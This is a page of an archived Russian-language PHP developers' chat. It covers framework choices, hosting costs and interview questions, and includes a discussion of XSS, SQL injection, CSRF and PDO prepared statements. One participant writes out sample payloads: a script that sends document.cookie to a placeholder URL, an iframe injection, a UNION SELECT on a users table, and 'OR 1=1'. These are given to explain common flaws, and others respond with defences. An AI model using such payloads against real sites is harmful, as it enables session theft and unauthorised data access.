@phpclubru

Страница 23 из 956
Pavel
10.11.2016
20:05:41
Все может быть ;)

Я думал это госконтора какая-то

Grigori
10.11.2016
20:06:59
нет, не энтерпрайз

это мой паренек рассказывал из команды, он на аутсорсе был раньше

Google
Dmitry
10.11.2016
20:08:12
так там 500 или 500к

Grigori
10.11.2016
20:08:13
и обратные истории тоже знаю, когда люди заказывали у индусов решения за 500 долларов, и они работали

$500, сорри

Dmitry
10.11.2016
20:08:50
тогда на самом деле заказчик был в чем-то прав, а ошибка в том, что вовремя не определили проблему и не переписали... ну и к тому же, друпал в общем не так плох по запросам, так что не факт, что yii дал адский прирост

Grigori
10.11.2016
20:08:54
не тысяч, просто 500 долларов

@miksir друпал именно что адски плох по базе

Dmitry
10.11.2016
20:09:21
а могло быть наоборот, ноль посещаймости и 4к в трубу... и делал бы он дольше, наверняка

ну не знаю... по сравнению с битриком... ;)

Grigori
10.11.2016
20:09:35
там нормально делать по 10 тысяч запросов на отрисовку страницы

безусловно, могло быть и наоборот - деньги на ветер, это вопрос другого плана

Dmitry
10.11.2016
20:10:51
опять же, я делал стартап где менеджеры сказали проектное 100к (условно)... вон до сих пор стопка серверов, оптические свитчи и корзины валяются... никому не нужные ;)

Grigori
10.11.2016
20:11:41
для этого придумали облака, MVP и микросервисы

Dmitry
10.11.2016
20:11:52
тогда еще не особо.... лет 12 назад было

Google
Dmitry
10.11.2016
20:12:26
а потом, облака на больших объемах дороже своего оборудования

Grigori
10.11.2016
20:12:42
из облака можно выйти на свое железо

если не привязываться к специфике облака

Dmitry
10.11.2016
20:15:18
Можно, так и код можно написать на друпале и переписать потом... ну условно. Тут скорее вопрос в вере в адекватность менеджмента, который 100к вещает

и наличии собственного специалиста, способного быстро ставить костыли, пока переписывается, переезжает и т.п. ;)

а купишь облако, проект взлетит, придет от облака счет на 100500, и опять ты виноват, что сразу не закупил свое железо, хотя менеджеры тебе говорили - 100к будет ;)

но в общем это, конечно, граничные случаи, не так и и много... так что теория, скорее...

dypa
10.11.2016
20:27:18
а купишь облако, проект взлетит, придет от облака счет на 100500, и опять ты виноват, что сразу не закупил свое железо, хотя менеджеры тебе говорили - 100к будет ;)
если проект взлетел - то нужно думать о конверсии. если стоимость обслуживания пользователя отрицательная - то это видно и без нагрузки на "облако"

Dmitry
10.11.2016
20:31:28
а проектирование - это не только про качество кода

а конверсия - она вообще к IT отношения не имеет... если проект приносит кучу - это не значит, что можно платить сколько угодно за то, за что можно платить меньше

dypa
10.11.2016
20:37:06
короче мы про комплексный подход к разработке разными словами...

Don
10.11.2016
21:39:53
Ребят, никогда не работал с фреймворками php( какой посоветует начать осваивать ?

Именно для Объектно ориентировочного подхода и с максимальной производительностью

Pavel
10.11.2016
22:03:42
Ориентировочно symfony3, yii2, laravel5

Salavat
10.11.2016
22:04:39
Ориентировочно symfony3, yii2, laravel5
Мне стыдно, но я к Symfony3 пришел со второй попытки с разницой в два года.

Pavel
10.11.2016
22:04:59
Ну и норм, чо

Мне тоже с трудом давалось

Salavat
10.11.2016
22:09:55
Я к тому - чо стартовать с нее не сложно будет,

Google
Salavat
10.11.2016
22:09:56
?

Pavel
10.11.2016
22:10:55
Ну человек же хочет ооп, а сф3 это самая ооп из ооп фреймворка

Оопшнее толко zf, но он не нужен

Salavat
10.11.2016
22:23:56
ну здесь согласен

Don
11.11.2016
04:58:26
Спасибо

dypa
11.11.2016
07:11:06
Ребят, никогда не работал с фреймворками php( какой посоветует начать осваивать ?
я бы посоветовал осваивать концепции и архитектуру построения современного фреймворка, для этого лучше всего подойдет какой нить из микрофреймворков. silex и lumen имхо сложноваты внутри. как насчёт slim framework? потом я бы осваивал в таком порядке: slim -> silex/lumen -> yii2/laravel -> symfony

Aztwin LK
11.11.2016
07:20:21
А есл сразу начать осваивать yii2?

Denis
11.11.2016
07:22:36
ну если ты знаешь нормально пхп, что такое ооп (лол), есть хотя бы немного понимания как лучше делать и как не стоит, то почему бы и нет?)

dypa
11.11.2016
07:23:12
А есл сразу начать осваивать yii2?
тогда ядро yii будет представлять из себя черный ящик, а цикл прохождения запроса не ясен

dypa
11.11.2016
07:26:17
м? в смысле
в прямом. собеседуемые путают клиент и сервер, типы данных, не могут в строгое сравнение, не могут рассказать про магические методы и тд

Salavat
11.11.2016
07:26:30
каждое собеседование удивляюсь как все знают пхп, до ооп редко доходим...
А можно онлайн пройти собеседование у вас? Я правда устраиваться не хочу, но собеседования - всегда отличный инструмент, чтобы узнать о своих слабых местах

Denis
11.11.2016
07:29:06
ну вот что за детские вопросы)

Google
dypa
11.11.2016
07:30:25
ну вот что за детские вопросы)
это я уже слышал, а потом собеседуемый начинает злиться что не может ни рассказать ни написать пример

Denis
11.11.2016
07:31:29
я правда на другом мы проебался) там тестирование и прочая фигня)

dypa
11.11.2016
07:32:14
тестирование чего?

Salavat
11.11.2016
07:32:29
xss в инпуте "><script>alert();</script> `"><script>document.write("<img src='path?cookie=" + document.cookie + ">")</script> "><iframe src=...>

Denis
11.11.2016
07:33:42
тестирование чего?
ну я ни разу не писал тесты. то сть codeception/phpunit мимо) selenium тоже не трогал)

Salavat
11.11.2016
07:34:10
SQL-инъекции из серии: ?id=1+UNION+SELECT+1,1,1,1+FROM+users

Ну или в инпуте с паролем: password OR 1=1

dypa
11.11.2016
07:36:19
ну я ни разу не писал тесты. то сть codeception/phpunit мимо) selenium тоже не трогал)
только из-за не знания как написать тесты - редко не берут

Denis
11.11.2016
07:36:53
не, я к тому что я не выебываюсь и сам много не знаю)

dypa
11.11.2016
07:36:54
Ну или в инпуте с паролем: password OR 1=1
а почему так происходит, как этого избежать?

Salavat
11.11.2016
07:37:37
а почему так происходит, как этого избежать?
Отсутствие проверки приходящих данных от клиента. Фильтровать данные

Denis
11.11.2016
07:38:15
а почему так происходит, как этого избежать?
не делать так $sql = 'seelct * from user where name = ' . $_GET['name'] ну и дальше с паролем)

?

dypa
11.11.2016
07:38:24
а как проверять данные?

Denis
11.11.2016
07:38:25
кстати такое я реально видел)

Salavat
11.11.2016
07:40:02
а как проверять данные?
Например, filter_var. использовать PDO для работы с БД.

dypa
11.11.2016
07:41:55
я ожидал услышать слова "экранирование, плейсхолдеры" для sql

Denis
11.11.2016
07:42:12
и кстати раз мы это затронули. если использовать пдо и сделать запрос вида $sql = '.... where id = :id'; $sth = $pdo->prepare($sql) $sth->bindParam(':id', $_GET['id'], PDO::PARAM_INT); считается ли это безопасным?)

Salavat
11.11.2016
07:42:16
Кстати, наверное, к XSS еще относится и следующая ошибка (а может и нет): когда мы редактируем профиль и в нем есть скрытое поле - user_id. И при сохранении мы обновляем данные этого пользователя просто по указанному в форме user_id. Здесь как вариант - либо вообще не указывать и брать данные из сессии/куки (но так как куки можно подделать), использовать csrf / подпись. то есть генерировать еще один элемент token, например. И хешировать его с нужным нам значением

Google
Denis
11.11.2016
07:42:53
просто я изъянов не вижу, один фиг в запрос инт упадет)

но я хз)

Denis
11.11.2016
07:43:17
ну вот и решили)

Salavat
11.11.2016
07:44:54
а у меня другой вопрос по этим биндам ) Чем отличается bindParam от bindValue ?

Denis
11.11.2016
07:45:45
Связывает PHP переменную с именованным или неименованным параметром подготавливаемого SQL запроса. В отличие от PDOStatement::bindValue(), переменная привязывается по ссылке, и ее значение будет вычисляться во время вызова PDOStatement::execute().

RTFM

dypa
11.11.2016
07:45:58
сигнатуры методов разные

Salavat
11.11.2016
07:46:36
RTFM
Вопрос в другом - вот ты знал это?) Просто я несколько лет назад столкнулся с этим и долго не мог понять почему не происходит нужного действия, пока не открыл FM :)

Denis
11.11.2016
07:47:04
не знал) я загугил

?

Salavat
11.11.2016
07:47:51
Ну просто когда мне рассказывали про PDO на собеседованиях (которые я проводил) - я задавал этот вопрос. И никто еще правильно не ответил, все говорили что это функции-синонимы.

Да и говорю же, сам не знал - пока не столкнулся.

Denis
11.11.2016
07:48:40
ну спасибо тебе, я теперь знаю хоть и не сталкивался с этим)

Salavat
11.11.2016
07:52:01
Пожалуйста )

dypa
11.11.2016
07:57:35
Да и говорю же, сам не знал - пока не столкнулся.
в php так во многом, поэтому приходится задавать "детские вопросы" чтобы понять понимание человека вообще области, а потом уже если требуется - можно углубляться в конкретику. причем многое из конкретики легко даже сеньор может не помнить. сеньоров вообще сложнее собеседовать чем джунов, они уже мало сам пхп помнят

Страница 23 из 956